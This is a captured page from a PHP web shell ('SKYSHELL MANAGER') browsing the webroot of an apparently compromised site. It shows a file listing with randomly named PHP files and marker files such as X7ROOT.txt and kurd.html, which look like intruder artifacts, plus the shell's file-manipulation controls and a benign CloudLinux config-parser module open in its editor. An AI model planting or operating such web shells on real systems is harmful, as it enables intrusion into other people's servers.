📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: parser.py
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT """ This module contains SSA specific config parser: - has defaults - adds default values for ones missing in config file - allows duplicates, the latest value is loaded - performs value normalization during loading items: - to int - to float - to bool - 'correlation' is case-insensitive and allowed to be on, off, 1, 0, yes, no, true, false - loads default configuration in case of missing config file """ import logging import os import tempfile from configparser import ConfigParser, NoSectionError from typing import Callable, List from ..internal.constants import config_file default_section = 'ssa_conf' logger = logging.getLogger('ssa_configuration_parser') class SSAConfigParser(ConfigParser): """ SSA specific configparser implementation """ def __init__(self): defaults = { 'domains_number': 10, 'urls_number': 5, 'request_number': 10, 'requests_duration': 3.0, 'time': 1, 'correlation': True, 'correlation_coefficient': 0.8, 'ignore_list': '', 'summary_notification_enabled': True } self._comments = { 'domains_number': 'Size of TOP list for slow domains', 'urls_number': 'Size of TOP list for slow urls', 'request_number': 'The threshold value of slow requests number in the period of time to mark URL as a slow one', 'requests_duration': 'The threshold value of request duration in seconds', 'time': 'Period of time in hours required to analyze these requests', 'correlation': 'Flag to enable or disable correlation (On/Off)', 'correlation_coefficient': 'The threshold value of correlation coefficient', 'ignore_list': 'List of URLs or domains that should not be included in a daily report', 'summary_notification_enabled': 'Flag to enable or disable sending daily reports by e-mail (On/Off)' } self.ssa_defaults = defaults.copy() super().__init__(defaults, strict=False) @property def int_options(self) -> tuple: return 'domains_number', 'urls_number', 'request_number', 'time' @property def float_options(self) -> tuple: return 'requests_duration', 'correlation_coefficient' @property def bool_options(self) -> tuple: return 'correlation', 'summary_notification_enabled' def empty_value_fallback(self, meth: Callable, section: str, option: str) -> str: """ If the value is missing in config file, e.g. time= set the default one """ try: val = meth(section, option) except (ValueError, NoSectionError): val = meth(section, option, vars=self.defaults(), fallback=self.ssa_defaults[option]) return val def items(self, section: str = default_section, raw: bool = False, vars: dict = None) -> List[tuple]: """Return a list of (name, value) tuples for each option in a section. Adds special conversions. """ d = self._defaults.copy() try: d.update(self._sections[section]) except KeyError: if section != self.default_section: logger.info('Malformed ssa.conf, section "%s" is missed. ' 'Default will be applied ', section) self.restore_default_conf() orig_keys = list(d.keys()) def value_getter(option): if option in self.bool_options: return self.empty_value_fallback(self.getboolean, section, option) elif option in self.int_options: return self.empty_value_fallback(self.getint, section, option) elif option in self.float_options: return self.empty_value_fallback(self.getfloat, section, option) else: return d[option] return [(option, value_getter(option)) for option in orig_keys] def read_ssa_conf(self): """ Try to read configuration from file, load defaults if file not present """ try: with open(config_file): pass self.read(config_file) except FileNotFoundError: self.read_dict({default_section: self.defaults()}) def write_ssa_conf(self) -> None: """ Try to write current configuration to file, """ temp_file = None try: temp_file = tempfile.NamedTemporaryFile(mode='w', dir=os.path.dirname(config_file), delete=False) # Write the configuration to the temporary file self.write(temp_file, space_around_delimiters=False) # If the writing process completes without any errors, rename the temporary file to the config file os.rename(temp_file.name, config_file) finally: if temp_file is not None: temp_file.close() if os.path.exists(temp_file.name): os.remove(temp_file.name) def override(self, args: dict) -> None: """ Load options from the dict into the main section of the config. """ section = default_section if default_section in self.sections() else self.sections()[0] for option, value in args.items(): self.set(section, option, str(value)) def write(self, fp, space_around_delimiters=True): """ Parent method is overrided in order to: - do not print default section - call its own write_section method instead of parent one. """ if space_around_delimiters: d = ' {} '.format(self._delimiters[0]) else: d = self._delimiters[0] for section in self._sections: self.write_section(fp, section, self._sections[section].items(), d) def write_section(self, fp, section_name, section_items, delimiter): """ The difference between this one and the parent _write_section method is in writing the comments to every option also """ comment_prefix = self._comment_prefixes[0] if self._comment_prefixes else '#' fp.write('[{}]\n'.format(section_name)) for key, value in section_items: value = self._interpolation.before_write(self, section_name, key, value) if value is not None or not self._allow_no_value: value = delimiter + str(value).replace('\n', '\n\t') else: value = '' comment = self._comments.get(key, None) if comment is None: fp.write(f'{key}{value}\n\n') else: fp.write(f'{comment_prefix} {comment}\n{key}{value}\n\n') fp.write('\n') def restore_default_conf(self): """ Clear all sections in config parser, try to copy settings values if they have it. Add new default section and pass all settings to it. """ previous_settings = self.ssa_defaults for section in self.sections(): for option in self.options(section): if option in previous_settings: previous_settings[option] = self.get(section, option) self.remove_section(section) self.add_section(default_section) for option, value in previous_settings.items(): self.set(default_section, option, str(value))
Save